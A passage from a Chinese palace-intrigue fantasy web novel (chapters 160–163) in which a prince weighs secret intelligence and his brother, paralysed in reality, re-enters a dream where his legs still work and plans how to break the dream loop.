阿福没想到这么顺利,连忙接过乌木小筒,小心收好,又学着江湖人的样子抱了抱拳,转身退出了房间。
蒙面人并没有送他,只是在他离开后,轻轻吹熄了油灯,厢房重新陷入一片黑暗寂静。
阿福凭着记忆,摸索着出了当铺,重新站在了清冷月光下的后巷。
夜风一吹,他才发觉自己后背的衣衫已经被冷汗浸湿了。
他不敢停留,低着头,快步离开了这条让他倍感压抑的巷子。
他没有直接回二皇子府,而是在城里绕了几个圈子,确认无人跟踪后,才来到一处早已安排好的、与二皇子府毫无瓜葛的偏僻小院,将乌木小筒交给了等在那里的一名沉默寡言的中年人。
中年人拿到小筒,检查了一下封口,对阿福点了点头,示意他可以离开了。
赏钱自然会有人另付。
阿福松了口气,不敢多问,迅速消失在夜色中。
小院密室内,中年人以特殊手法打开了乌木小筒的封蜡,从里面倒出一卷比之前名单更薄的绢纸。
他展开绢纸,就着灯光快速浏览,脸上没有任何表情,但眼神却微微凝滞了一瞬。
随即,他将绢纸上的内容牢牢记在心里,然后将其凑近灯焰。
火焰舔舐着绢纸,很快将其化为一小撮灰烬,连一丝青烟都未曾多冒。
做完这一切,中年人才悄无声息地离开小院,如同鬼魅般融入夜色,朝着二皇子府的方向而去。
约莫半个时辰后,那份被焚毁的绢纸上的内容,已经一字不落地呈现在了周·炜廷的书案上。
只有短短两行字:
“柳随风,三日前离京,疑似北上。踪迹最后见于幽州界。”
“甜水巷刘宅,昨夜有宫中旧人拜访,逗留两刻钟离去。所乘车驾标记已抹,然驭者左手背有旧疤,形如弯月。”
周·炜廷盯着这两行字,看了很久很久。
第一行,柳随风离京北上南屏州。
南屏州?
那里是边疆重镇,也是……老四定南王周炎武的封地附近。
柳随风去那里做什么?
继续调查悼恭太子旧事?
还是执行别的任务?
老三的手,已经伸得那么远了吗?
难道说老三与老四暗中勾结?
身为藩王,相互勾结,可是死罪!
周·炜廷心念一动,他没想到这里面居然还有老四的事情?
真让他感到意外!
第二行,更让周·炜廷心惊。
宫中旧人拜访刘嬷嬷,这并不意外。
意外的是驭者左手背有旧疤,形如弯月。
这个特征……他依稀记得,已故淑妃身边,似乎曾有一个因犯错而被鞭笞驱逐的太监,左手背就有这么一道疤,据说是淑妃当年还是才人时,亲手教训留下的……如果真是此人,那拜访刘嬷嬷的宫中旧人身份,几乎呼之欲出——与淑妃、与老三脱不开干系!
他们去找刘嬷嬷这个淑妃旧仆,是想问什么?
还是想让她做什么?
这份情报,简短,却极具分量。
不仅证实了柳随风此人确实存在并为老三所用,还提供了一个可能指向老三生母淑妃旧部的关键线索。
更重要的是,对方真的给出了新消息,而且看起来颇为可靠。
神秘人,或者说他背后的势力,展示出了相当程度的情报能力和诚意。
周·炜廷靠在椅背上,闭上眼睛,手指用力按着发胀的太阳穴。
五味斋的联络点是真实的,对方给出的情报是有价值的,这意味着合作的基础初步建立了。
但风险也随之剧增。
对方能查到柳随风的离京踪迹,能辨认出宫中一个早已被遗忘的太监手上的旧疤,其能量和眼线,恐怕远超他的预估。
与这样的势力合作,无异于与虎谋皮。
然而,老三的威胁近在眼前,父皇的态度晦暗不明,他若再无所作为,只怕真的要被彻底排除在局外了。
良久,他睁开眼,眼中最后一丝犹豫褪去,取而代之的是一种破釜沉舟的决绝。
他铺开一张新的信纸,提笔蘸墨,却迟迟没有落下。
他在思考,第一次正式的委托,该问什么?
既不能暴露自己真正的核心意图,又要能获取到有价值、能帮助他破局或打击老三的信息,同时,还不能让对方察觉自己过于急切或虚弱。
最终,他缓缓写下两句话,字迹力透纸背:
“一、三皇子周焕章近期是否在暗中接触或拉拢京畿三大营中将校?请提供具体名单及接触方式。”
“二、查清西域胡商萨比尔与萨迪克商会,近年通过何种渠道,与三皇子府进行银钱往来,具体数额及最终用途。重点探查其中是否有与怀表、旧物、西域秘事相关之异常款项。”
写罢,他仔细看了一遍,将墨迹吹干,然后小心地卷起,塞入一个普通的竹筒,用蜡封好。
他没有立刻派人送去五味斋。
他在等,等自己这边对刘嬷嬷和那个宫中旧人的进一步核查结果,也要等一个更合适的时机。
同时,他需要好好想想,下一次,该派谁去?
阿福已经露过面,不能再用了。
需要另一个完全不相干、甚至看起来与西域有些关联的生面孔。
窗外的天色,渐渐泛起了鱼肚白。
黑夜即将过去,但周·炜廷知道,属于他的、更加复杂诡谲的博弈,才刚刚开始。
他不仅要在明面上应对父皇和三弟,还要在暗地里,与一个神秘而危险的西域势力周旋,从他们手中获取力量,同时避免被其吞噬。
这条路上布满荆棘,稍有不慎,便是万劫不复。
但他已经没有退路了。
他拿起桌上那枚冰冷的玉佩,紧紧攥在掌心,仿佛要从那坚硬的触感中,汲取一丝虚幻的勇气和力量。
“老三,我们……走着瞧。”他对着窗外渐亮的天光,低声说道,语气冰冷,如同淬毒的刀锋。
第160章 入梦
周昕阳躺在床榻上,脑海中思绪翻涌,思考着这一次入梦,应该做的事情。
“既然自己误打误撞间,打破了梦境循环,梦境的一切都成为了现实,那就意味着自己的瘫痪,已经是不可避免的事实。”
“但也并非没有破解之法……”周昕阳的意识在昏沉的疼痛与药物的麻痹中沉浮,却异常清醒地思索着。
梦境循环被打碎,现实的瘫痪已成定局。
这意味着,在梦中经历的一切——中毒、被追杀、地宫,乃至最后时刻身体的崩溃——都已在现实中“兑现”了后果。
他无法再通过“醒来”逃避,双腿的知觉丧失是现实,身体上的损伤恐怕也是现实。
“虽然木已成舟,可未必就没有破解之法。”
“梦境与现实,最大的优势,就是时间差。”
“现在的我,是几个月后苏醒,下身没有知觉。”
“可在梦中,我大概率会很快苏醒,毒性对身体的伤害没那么大……”
“或许还有机会……”
周昕阳想着想着,突然涌起一丝困意,他知道入梦的时间到了。
下一刻,如潮的困意,涌上心头。
周昕阳再次遁入了无边无际的星河世界……
那不是人间夜色里温和的暗,是浓稠到凝固、冰冷到刺骨的绝对混沌。
周身所有的感官都被骤然剥离,静室里烛火燃烧的细碎噼啪声、汤药混杂檀香的沉郁气息、身下粗麻锦被的粗糙触感,乃至双腿那蚀骨的麻木、体内阴毒灼烧脏腑的痛感、眉心金色印记针扎般的刺痛,全都在这一刻被彻底隔绝、碾碎、消融。
天地间仿佛只剩下他一缕孤悬的残魂,在无边无际的黑暗里轻飘飘沉浮、漫无目的飘荡,没有上下之分,没有左右之别,没有时间流逝,更没有尽头可言。
意识在半梦半醒间反复涣散又强行凝聚,如同狂风中摇曳的残烛,明明灭灭,随时可能彻底熄灭。
不知是一瞬,还是漫长的千百年。
一缕极致轻盈、近乎虚无的绵软触感,悄然攀上他涣散的神魂。
他恍惚间察觉到,自身沉重的肉身、满身的枷锁伤痛、所有禁锢与困顿,都在这片死寂黑暗中缓缓融化、化作飞烟。
取而代之的,是一只轻盈剔透、七彩绚烂的梦幻蝴蝶。
蝶翼薄如蝉翼,通透得几乎能看透身后的黑暗,却又流转着世间最瑰丽繁复的色泽。
绯色如燃霞、鎏金似碎阳、宝蓝若深海、莹紫像星雾、翠青如初芽、银白同月华、黛黑如远山,七种色彩层层交织、缠绕晕染,如同将整片浩瀚星河的流光,尽数凝在了两对纤薄的翅尖之上。
翼面布满细密如星尘的纹路,每一道都泛着温润柔和的柔光,蝶翼微微颤动时,便会洒落细碎到近乎透明的光屑,在黑暗中划出转瞬即逝的流光尾迹,轻柔得仿佛一碰就会消散。
没有了肉身的沉重桎梏,没有了经脉淤塞的滞涩,他只觉得浑身轻盈到了极致,轻得像一缕风、一抹光、一片落雪。
七彩蝶翼缓缓扇动,没有半分阻碍,没有丝毫重量,便带着他残存的意识,在这片浩瀚无垠、广袤到令人心悸的墨色星空中,漫无目的地朝着未知的远方飞去。
这里是真正的混沌深空,没有人间夜空的点点繁星,没有悬天的明月清辉,只有一片纯粹到极致的浓黑,空旷、寂寥、死寂,仿佛自天地开辟以来,便从未有过生灵踏足。
蝴蝶振翅的声响细微到近乎不闻,可在这片极致的寂静里,却清晰得如同微弱鼓点,一下、又一下,轻轻敲在他的神魂之上。
他不知道自己要飞向何方,不知道这片星空的尽头藏着什么,更不知道这场诡异的蜕变因何而来。只是凭着一缕残存的求生本能,不断扇动着七彩蝶翼,向着浓黑的更深处、向着看不见的远方,缓缓前行。
时光在这里彻底失去了意义,没有白昼黑夜的交替,没有四季寒暑的更迭,没有岁月流转的痕迹。
飞了多久,他无从知晓。
神魂不曾感到疲惫,可无边的茫然与孤寂却如影随形。
浓稠的黑暗始终笼罩四周,仿佛永远没有破晓之时,让他这只渺小的孤蝶,在浩瀚星空里显得格外单薄、无助。
就在他的意识即将再次陷入混沌,近乎要放弃前行、彻底沉眠于黑暗之际。
无尽死寂、一片墨色的星空中,忽然亮起了一束光。
那光芒起初极其微弱,只是黑暗最深处一点微不可察的银白亮点,像沉在万丈深海底部的明珠,在浓黑里若隐若现,微弱到几乎要被黑暗彻底吞没。
可不过瞬息之间,这点微光便以不可思议的速度扩散、炽盛、暴涨。
光芒越来越盛,越来越亮,温润澄澈的银光冲破浓稠的黑暗,如同破晓时分穿透云层的晨光,层层驱散周遭大片的墨色,将死寂冰冷的星空,映照得一片柔和莹白。
光束不再是单薄的一线光亮,它不断延展、舒展、奔涌、流淌,最终化作一条横贯整片星空、浩瀚无垠的银色长河。
长河奔腾不息,河水通体流淌着淡淡的银光,澄澈通透,却又深不见底,望不穿河水之下藏着的隐秘。
河面波光粼粼,细碎的银芒随着水流缓缓翻涌,如同亿万颗星辰碎屑坠落其中,随波逐流、熠熠生辉,每一道波纹都泛着柔和的光晕,在黑暗中铺开一片璀璨。
水流奔涌的声响低沉而悠远,不似人间江河的汹涌咆哮,没有惊涛拍岸的轰鸣,反倒如同天地初开时的清越道音,温润绵长、涤荡神魂,轻轻拂过,便抚平了他神魂里所有的惶惑、不安与焦躁。
银色的星河横亘在浩瀚星空之中,宛如一条从天穹之巅垂落的光带,蜿蜒向着无尽的远方延伸,看不到河水的源头,也望不见奔流的尽头。
七彩蝴蝶悬停在星河之前,静静扇动着蝶翼。
翅尖流转的七彩流光,与河面翻涌的澄澈银辉相互映照、彼此交融。绚烂的华彩与温润的银光交织缠绕,在这片亘古死寂的星空中,勾勒出一幅极致梦幻、又极致壮阔的画面。
下一瞬间,他重新苏醒,睁开了眼睛。
映入眼帘的,是入睡前的床榻,以及焦急、神色犹豫的二姐周灵薇。
“九弟,你终于醒过来了,你吓死我了。”
“我还以为你再也醒不过来了……”
周灵薇一把抱住周昕阳,哭得梨花带雨。
第161章 惊喜
周昕阳的意识彻底回笼,睫毛轻轻颤动了几下,缓缓睁开了双眼。
入目所及,最先撞进眼帘的,是二姐周灵薇憔悴到极致的脸。
她往日里精致的发髻早已松散,几缕湿发黏在苍白的脸颊上,眼眶肿得像核桃,布满细密的红血丝,眼底是掩不住的乌青,显然是长时间未曾合眼,一直守在榻边。
眼角的泪痕还未干透,残存的泪渍在肌肤上留下浅浅的水痕,原本灵动明媚的杏眼此刻黯淡无光,满是惶然与绝望,连唇色都泛着不正常的惨白。
见他终于睁眼,周灵薇先是一怔,像是不敢相信自己的眼睛,怔怔地盯了他片刻,直到看清他眼底清晰的神采,才猛地回过神。
“九弟,你终于醒过来了,你吓死我了。”
她再也绷不住情绪,身子一软,俯身轻轻抱住他的肩头,动作小心翼翼,生怕碰伤他体内的伤势。
滚烫的泪水顺着脸颊滑落,滴在他的颈侧,温热又滚烫。
“我还以为你再也醒不过来了……我守了你整整三个时辰,孙太医来了三次,**也来看过,都说你气机涣散,神魂受损太重,大概率会一直昏睡下去,就算侥幸醒转,也会神魂受创,神志不清,变成痴傻之人……”
周灵薇的声音哽咽颤抖,断断续续,每一个字都裹着无尽的后怕与自责。
她收紧手臂,却又不敢用力,只是轻轻揽着他,泪水打湿了他肩头的衣料。
“都怪我,都怪我没有看好你。若是我早些拦住你,不让你闯入地下迷宫,若是我能及时找到你,你也不会落得这般境地……是我没用,是我这个姐姐当得不合格。”
她的肩头不住地颤抖,压抑了许久的惶恐与愧疚在此刻彻底爆发。
在她的认知里,周昕阳是在她的眼皮子底下闯入禁地、身受重伤、昏厥不醒,所有的过错,都该由她来承担。
周昕阳被她抱着,鼻尖萦绕着二姐身上熟悉的梅花冷香,混杂着浓重的药味,心中泛起一阵酸涩,又夹杂着一丝清明。
他清楚,这不是现实里数月之后的苏醒,而是梦境时间线里,他在地下迷宫遭遇阴影怪虫、昏厥过去的短短几个时辰后。
梦境的时间流速,和现实截然不同。
周昕阳抬手,指尖微微用力,轻轻拍了拍周灵薇的后背,嗓音依旧虚弱沙哑,却神志清晰,语气平稳:“二姐,不怪你,是我自己执意要查,与你无关。”
感受着指尖触及肩头的真实触感,还有体内虽虚弱却依旧顺畅的气机,周昕阳眉心微蹙,脑海中飞速转动。
现实里的瘫痪、双腿毫无知觉的绝望感还深深烙印在神识里,可此刻在梦境之中,他除了浑身酸软、经脉隐隐作痛、肺腑带着灼烧感之外,并没有那种下身麻木、彻底失去掌控的死寂。
一个大胆的念头在心底疯长,他压不住心头的急切,想要立刻验证。
周昕阳微微挣开周灵薇的怀抱,手臂微微用力,指尖攥紧身下的锦褥,想要撑着身子坐起来。
“九弟,你别乱动!”周灵薇被他的动作吓了一跳,连忙伸手按住他的肩膀,神色慌张又焦急,“你身上伤势极重,经脉受损,神魂也没稳住,万万不能起身牵扯伤口。我这就去叫孙太医和玄微**过来,让他们再给你诊治一番!”
她说着就要起身,神色慌乱,生怕他稍有动作就加重伤势。
周昕阳连忙抬手拉住她的衣袖,力气虽小,却格外坚定,轻轻摇了摇头:“二姐,我没事,别慌。”
周昕阳安抚地看着周灵薇,眼底没有丝毫迷茫,只有极致的冷静与迫切,他没有强行坐起,而是缓缓放平身体,将所有的注意力,都集中在了自己的下半身。
现实里那种双腿如同枯木、毫无知觉、意念无法触及的死寂感,在此刻荡然无存。
周昕阳先是尝试轻轻弯曲脚趾,意念一动,脚掌处便传来清晰的触感,十根脚趾听话地微微蜷缩,又缓缓舒展,皮肤贴着柔软的锦被,粗糙与柔软的触感分明,再真实不过。
紧接着,他尝试轻轻抬起小腿,大腿肌肉微微绷紧,虽因体虚有些无力,动作迟缓,却真的缓缓抬了起来,又轻轻落下。
膝盖可以弯曲,髋关节能够发力,双腿的每一寸肌肤、每一处筋骨,都能清晰感知,意念可以毫无阻碍地操控,没有半分滞涩,更没有那种彻底断开的麻木。
他甚至可以轻轻并拢双腿,再缓缓分开,动作虽轻,却每一步都清晰可控。
周昕阳的心脏,在胸腔里猛地狂跳起来。
狂喜如同汹涌的浪潮,瞬间席卷了他所有的神识,压过了身体所有的虚弱与疼痛。
没有瘫痪。
他的双腿,在梦境里完好无损,能够自由活动,没有丝毫知觉丧失的迹象!
这个
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认知,让他险些控制不住嘴角的笑意,只能死死抿紧唇瓣,才将那份极致的欣喜压下去。
他之前的猜测,得到了最有力的印证。
现实里的双腿瘫痪,是因为他误打误撞打破了梦境循环,将这一切变成现实,再加上长时间的昏迷,才导致的。
而现在的梦境,他只是昏厥了三个时辰,伤势虽重,却还未发展到下肢瘫痪、经脉彻底淤塞坏死的地步。
只要他能在梦境中规避瘫痪的结局,养好伤势,找到破解毒性与金色印记的方法,或是想办法再次打破循环,就能将这份状态带回现实,就能彻底摆脱双腿瘫痪的宿命,重新恢复行动能力!
这不仅仅是梦境里的一线生机,更是现实中绝境里的唯一破局之路。
之前所有的绝望、压抑、惶恐,在这一刻尽数消散。
周昕阳原本以为,现实的瘫痪已成定局,只能在囚笼般的静室里步步为营,艰难寻找生机。
可现在他才明白,打破循环并非绝路,反而给了他一次逆转结局的机会。
梦境是试炼场,是修正过往的契机,更是拯救现实的唯一钥匙。
“九弟?你怎么了?是不是哪里不舒服?”
周灵薇见他久久不语,脸色一阵变幻,先是凝重,随即又泛起难以掩饰的喜色,不由得心头一紧,伸手就要去探他的额头,神色担忧,“是不是伤势又发作了?我立刻去叫太医!”
周昕阳握住她的手,眼底闪烁着明亮的光芒,之前的沉闷与阴郁一扫而空,取而代之的是坚定的神采。
他轻轻摇头,声音依旧虚弱,却透着一股难以言喻的笃定与希望:“二姐,我真的没事。”
“不仅没事,往后,也不会再有大事了。”
他看向窗外沉沉的夜色,烛火在他眼底跃动,映出一片澄澈与坚定。
这一次入梦,他不再是被动经历、仓皇逃命。
他有了明确的目标,有了逆转结局的方向。
要在梦境中稳住伤势,拔除阴毒,破解金色印记的秘密,找到神秘势力的根源,彻底规避下肢瘫痪的结局。
然后,带着完好的身体,重回现实,破掉那座囚禁他的牢笼。
周身的虚弱与疼痛还在,但此刻的周昕阳,心中已经燃起了熊熊的斗志。
这场梦境,不再是无尽的循环与折磨,而是他逆天改命、救赎自身的唯一契机。
第162章 当前现状
“九弟,你……”
周灵薇被他眼中骤然亮起的光芒和笃定的语气惊得愣住,一时间忘了哭泣,只呆呆地看着他。
那双眼眸深处,仿佛有火焰在燃烧,驱散了多日来的阴霾与死气,明亮得让她几乎不敢直视。
这与她印象中那个温润、偶尔带着点少年郁气的弟弟截然不同,更与之前昏迷不醒、气息奄奄的模样判若两人。
是回光返照?
还是……真的有了转机?
她心中惊疑不定,却又被那份光芒中不容置疑的坚定所感染,慌乱的心竟奇迹般地安稳了几分。
她反手紧紧握住弟弟冰凉的手,那手虽无力,却不再如之前那般死气沉沉。
“好,好,没事就好,没事就好……”周灵薇语无伦次地重复着,泪水又涌了出来,这次却带了些许释然,“你等着,我这就去叫孙太医和玄微**,他们一定很高兴!”
说着,她匆匆起身,也顾不得整理仪容,便提着裙摆快步朝门外走去,声音带着抑制不住的颤抖和欣喜:“来人!快!去请孙太医和**!九弟醒了!九弟醒了!”
静室外的廊下传来一阵急促的脚步声和低低的应和声,很快远去。
室内重归寂静,只剩下周昕阳自己略显急促的呼吸,和烛火偶尔爆开的轻微噼啪声。
他缓缓吐出一口浊气,重新闭上眼睛,细细感受着身体的状态。
狂喜过后,是更为冷静的审视。
经脉确实受损不轻,真气运行滞涩,丹田处也隐隐作痛,肺腑间那股阴寒灼烧之感并未完全消退,眉心那枚金色印记更像是一块烙铁,时刻散发着隐痛和难以言喻的异物感。
身体的虚弱是实打实的,并非幻觉。
但,双腿的感觉是如此真切!
他甚至能清晰地“数”出脚趾弯曲时,每一根肌腱细微的牵拉感。
这与现实中断绝的联系相比,简直是天壤之别。
“时间……这就是时间差带来的优势。”周昕阳在心中默念。
现实中的瘫痪,是“果”,是毒性与伤势在漫长昏迷中彻底侵蚀、固化后的最终结果。
而此刻梦境中的“因”,还处在可以干预、可以改变的“进行时”!
脚步声再次响起,比之前更急。玄
微**和孙太医几乎是前后脚冲进了静室,两人脸上都带着难以置信的惊喜和凝重。
孙太医抢上前,二话不说,枯瘦但稳定的手指便搭上了周昕阳的腕脉,凝神细诊。
玄微**则立在床头,目光如电,先是在周昕阳脸上、尤其是眉间停留片刻,随即又扫过他全身,最后落在他盖着薄被的下半身,眉头微不可察地蹙了一下。
周灵薇跟在他们身后,紧张地绞着手帕,大气也不敢出。
片刻,孙太医收回手,长舒一口气,眼中惊异之色更浓:“奇哉!殿下脉象虽依旧虚弱紊乱,毒性未清,但比起几个时辰前的油尽灯枯、气若游丝,已然平稳凝实了许多!”
“尤其这神魂……明明之前受创甚剧,涣散难聚,此刻竟已自行稳固了大半,虽仍显虚弱,却无痴傻癫狂之兆!这……这简直是……”他行医数十载,从未见过如此诡异又迅猛的好转。
玄微**也上前一步,并指如剑,指尖萦绕着一缕极为淡薄的清气,轻轻虚点向周昕阳眉心。
那缕清气触及皮肤,周昕阳只觉得眉心一凉,刺痛感略有缓解,但随之而来的是一种被深入探查的异样感,仿佛有什么无形的力量想要侵入那金色印记深处。
然而,那印记只是微微亮了一下,流转的金光将那股探查之力轻柔而坚定地“推”了出去,并未引发更大的反应。
玄微**收回手指,眼中困惑更深,沉吟道:“殿下体内那异物,依旧盘踞于识海深处,与地宫残留的阴邪之气隐隐勾连,但此刻却异常安静,甚至……似乎有微弱的力量在自发护持殿下神魂,助其稳固。这……贫道也闻所未闻。”
他看向周昕阳,目光锐利:“殿下昏迷期间,可曾感知到任何异样?或是有何……特殊际遇?”
周昕阳心中一动。
特殊际遇?
那星河与蝴蝶,算不算?
但他瞬间压下了这个念头。
那经历太过离奇,且与金色印记、甚至与自己这诡异的入梦能力息息相关,是绝不能为外人道的秘密。
他脸上适时地露出迷茫和些许痛苦之色,缓缓摇头,声音依旧虚弱:“我只记得……在地宫里,被那些黑影怪物追赶,后来好像……看到了很刺眼的金光,然后头像是要裂开一样剧痛,就什么都不知道了。”
“再醒来,就是刚才,看到二姐……只觉得浑身都疼,尤其是眉心,像是有针在扎……还有,腿……”
他顿了顿,露出一丝恰到好处的困惑和不安,尝试着再次动了动脚踝,薄被下显出轻微的轮廓变化,“我的腿……好像能动,但没什么力气,也使不上劲,孙太医,**,我的腿……是不是伤得很重?以后还能……”
孙太医和玄微**对视一眼,都看到了对方眼中的凝重。
周昕阳双腿的情况,同样出乎他们的预料。
按照之前的诊断和伤势推断,脊柱受损,加上奇毒侵蚀经脉,这双腿能保住不恶化已是万幸,瘫痪几乎是必然。
可眼下看来,情况似乎比预想中好了不止一点?
孙太医再次仔细检查了周昕阳的双腿,按压了几处穴位,询问感知,又探查了足部气血运行,眉头越皱越紧,最终化为一声惊叹:“怪事!殿下腿部经脉确有受损,气血运行不畅,但……主要经络似乎未断,知觉尚存,肌力虽弱,却非全然瘫痪之象!”
“这……这简直违背常理!除非……除非殿下昏迷时,体内有某种力量自发护住了要害经脉,或是那毒
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性……竟有吊命护脉之效?”他自己都觉得这推测荒谬,毒就是毒,怎会护脉?
玄微**沉默片刻,缓缓道:“天地之大,无奇不有。殿下所中奇毒,与那识海异物,或许本身便是超出常理之物。”
“二者互相牵制,或阴差阳错,保住了殿下腿部一线生机也未可知。只是……”他看向周昕阳,语气严肃,“殿下切不可因此掉以轻心。眼下好转只是表象,毒性未除,异物未明,伤势未愈,稍有差池,前功尽弃。需得静心调养,不可妄动,更不可再涉险地。”
“**说得是。”周昕阳虚弱地应下,心中却已掀起波澜。孙太医的违背常理和玄微**的阴差阳错,恰恰印证了他的猜测——在这个梦境的时间点,他的身体损伤尚未达到现实中那种不可逆的程度!
那毒性、那印记,在造成伤害的同时,似乎也因为某种未知的缘由,并未完全摧毁他下肢的生机!
希望,更大了。
“孙太医,**,那我九弟他……到底有没有大碍?这腿……”周灵薇忍不住追问,声音发颤。
孙太医捋了捋胡须,斟酌道:“殿下能苏醒,且神志清明,已是天大的幸事。”
“眼下双腿既有知觉,便有一线希望。”
“老夫会调整方剂,辅以金针渡穴,先稳住殿下体内毒性,再徐徐图之,疏通腿部瘀滞气血。”
“只是……能否完全恢复如初,老夫不敢妄言,需得看殿下自身的恢复力,以及……”
他看了玄微**一眼,“以及那异物的后续变化。”
玄微**接口道:“贫道会继续以清心咒和安神符助殿下稳固神魂,压制那异物异动。”
“此地灵气尚可,殿下务必静养,不可再劳神费力,更不可擅动真气,一切待伤势稳定再说。”
“昕阳明白,有劳**与孙太医费心。”周昕阳诚恳道谢。他知道,至少在眼下,这两位是真心希望他好起来的。
将两人送走后,周昕阳继续开口:“二姐,你先去休息吧,这里有其他人照顾我,你就不要再继续操劳了。”
“九弟……”周灵薇还是不放心,想要继续照顾周昕阳。
“二姐,你听我说,现在我已经倒了,如果你再倒下,那谁来解开这些秘密?”周昕阳郑重地说道。
“这……好吧,那我去休息。”周灵薇最终还是点了点头,“你别乱动,有什么事情,让下人去做。”
“是,我知道了。”周昕阳微微颔首。
“好。”周灵薇离开了房间。
周昕阳闭上眼睛,开始思索下一步的计划。
首先,就是找到这一轮梦境的“钥匙”。
唯有如此才能打破梦境循环,把自己失去知觉的下肢,重新恢复生机……
那么,这一轮的钥匙,究竟是什么呢?
上一轮,自己究竟做了什么,才导致梦境被打破的呢?
第163章 分析判断
周昕阳闭上眼睛,隔绝了烛火的微光,意识却瞬间沉了下去,尽数投入到对过往片段的回溯之中。
室内的寂静成了最好的底色,让那些昏睡前的画面、触感,甚至气息,都变得愈发清晰,如同就在眼前重演。
他缓缓梳理着脉络,从地宫深处那铺天盖地的黑影怪物开始想起——那些浑身萦绕着死气、不知痛觉的东西,显然是被某种邪术操控,它们的目标似乎从一开始就不是单纯的追杀,更像是在驱赶,将他一步步逼向某个方向。
那时的他只顾着逃亡,未曾细想,可此刻复盘,却觉得诡异:那些黑影明明实力强横,却始终与他保持着一丝距离,仿佛在刻意引导他走向溶洞,走向那片磷光阴影区域。
这会不会是第一个疑点?
紧接着,便是溶洞中的奇遇与凶险。
半块诡异的令牌,密密麻麻的怪虫,还有那道从黑暗中走出的、披着破烂黑袍的阴影身影。
他记得很清楚,那些怪虫起初对他虎视眈眈,可当他掷出令牌的瞬间,它们便瞬间蛰伏,甚至露出畏惧之色;而那道阴影身影,明明气场恐怖,足以轻易将重伤的他吞噬,却在令牌亮起的金光面前退缩,甚至最终仓皇逃窜。
这令牌,无疑是关键之物。
它上面的螺旋眼状图案、扭曲符号,与地下石室墙壁上的图案、暗格中的符号同源,更与他眉心的金色印记产生了强烈共鸣。
上一轮梦境,他也曾接触过这令牌,会不会就是那时,无意间触发了什么,才导致梦境打破了循环,从而影响到了现实?
“上一轮触碰的东西太多了,现在有些难以分辨了。”
周昕阳有些懊恼地搓了搓头,脸色难看,他指尖无意识地摩挲着被褥,眉心的金色印记依旧隐隐作痛,那股异物感清晰无比。
他想起昏迷前的最后一刻,阴影身影扑向令牌,而他眉心的印记突然剧烈跳动,一股灼热的力量顺着经脉流淌全身,与地上的令牌产生共鸣,爆发出耀眼的金光,将阴影弹飞。
就是在那一瞬间,他感觉到脑海中传来一阵轻微的震颤,仿佛有什么东西被触动了,紧接着便是天旋地转,彻底失去了意识。
那阵震颤,会不会就是梦境循环出现裂痕的征兆?
那道金光,又会不会是打破循环的关键触发点?
他又想起地下石室中的发现——刻着诡异图案的岩壁,残留的赤阴藤与暗紫色毒草,干涸的血迹,还有壁龛底部那潦草的、与金色印记相似的符号。
那些毒草是炼制蚀心毒的关键成分,而赤阴藤的药性,又与他体内的阴寒之气隐隐呼应。他曾试探性地舔过那暗紫色毒草,瞬间引发了眉心印记的剧烈异动,那种神魂被刺激的感觉,与他触碰令牌时的共鸣截然不同,却同样带着强烈的“同源”之感。
难道,这毒草也是钥匙的一部分?
还是说,它只是一个引子,用来激活金色印记的引子?
上一轮梦境,自己究竟做了什么,才打破了循环?
周昕阳皱紧眉头,反复回想,却发现记忆有些模糊,只记得最后也是陷入了绝境,似乎也触发了令牌与金色印记的共鸣,只是那时的共鸣,似乎没有这一轮这般强烈,也没有出现那道耀眼的金光。
是因为接触了毒草,让金色印记的力量变得更强,才引发了不同的反应?
还是因为,上一轮他没有等到阴影身影出现,没有经历那最后的对峙,便已经触发了钥匙?
他逐一排除着可能性。
黑影怪物太过普通,不像是能承载“钥匙”这般重要意义的存在;
赤阴藤与毒草,更多是线索,是用来追查神秘势力的,即便与印记有关,恐怕也只是辅助作用,而非核心钥匙;
地下石室的图案与符号,更像是某种标记,用来传递信息,或是开启某个地方的暗号,单凭它们,似乎不足以打破梦境循环。
那么,最可疑的,便只剩下三样东西:眉心的金色印记、那半块令牌,还有那些邪物……
金色印记是他从无缝方匣中意外沾染的,自那以后,便一直盘踞在他的识海深处,既能带来凶险,又能在关键时刻护持他的神魂……充满着古怪和神秘。
它与令牌同源,与神秘势力的符号同源,显然是核心中的核心。
可它始终在他体内,这若是钥匙,岂不是每一次做梦,都能打破循环?
这不太可能。
周昕阳摇了摇头,首先排除了这个选项。
“其次就是那半块令牌……”
周昕阳继续思索。
这是他在溶洞中偶然发现的,它能震慑怪虫、克制阴影身影,能与金色印记产生共鸣,上面的符号更是串联起了所有线索。
“可令牌不在身边,恐怕已经被人收走了。”
“可能是玄微真人,也可能是孙太医,甚至可能是父皇……”
这一点,他几乎可以肯定。
周昕阳靠在床头,指尖无意识地收紧,攥紧了柔软的锦被。
无论是出于安全考虑,还是为了追查线索,那半块明显属于神秘势力、又能与他体内印记产生共鸣的令牌,都不可能继续留在他这个“不稳定”的伤患身边。
“所以,如果令牌是钥匙,那么当前最直接的障碍就是——如何重新拿到它。”
这绝非易事。
玄机观如今戒备森严,他重伤未愈,行动尚且困难,更遑论潜入存放重要证物之处。
强取豪夺是下下策,一旦暴露,只会引来更严密的监视,甚至可能坐实某些猜疑。
“那么,有没有可能,令牌并非唯一的关键,或者说,钥匙并非必须是某样具体的物品,也可以是特殊事件,比如我打开第三把锁的时候……”
周昕阳的目光缓缓移动,落在了那枚依旧盘踞在他识海、带来隐隐刺痛与异物感的金色印记上。
这东西就在他体内,如影随形。
如果它是“钥匙”,为何循环依旧在继续?
不,不对。
也许它的存在,本身就是钥匙的一部分,是开启循环或者打破循环的基础条件。
但它自身并非“操作杆”。
更像是一把锁,锁芯(印记)一直在这里,但你需要正确的“钥匙齿”(特定的行为、信息或物品)去转动它。
“那么,什么才是能转动我这把锁的钥匙齿?”
周昕阳的思绪再次飘向地宫,飘向那被无数黑影怪物拱卫、散发着不祥气息的、被称为“邪物”的东西。
“邪物……”
他咀嚼着这两个字,记忆中的画面再次浮现。
那东西给他的感觉,阴冷、邪异、充满了混乱与恶念,却又带着一种诡异的吸引力,仿佛能勾起人心底最深的恐惧与欲望。
更重要的是,在他触摸到无缝方匣、被金色印记侵入的瞬间,涌入他脑海的那些破碎记忆碎片中,有许多画面,都与那邪物散发的气息,与那些黑影怪物身上的纹路,有着惊人的相似性!
它们同源。
毫无疑问。
令牌是信物,印记是凭证,而那邪物……很可能就是那个神秘势力所追求、所制造、或者所崇拜的核心!
“上一轮梦境结束前,我最后看到的,是阴影身影在令牌金光下退却,然后二姐带人赶到……”
“再往前,是我触动令牌与印记共鸣,爆发出更强的金光……”
“而在那之前,我接触了毒草,刺激了印记……”
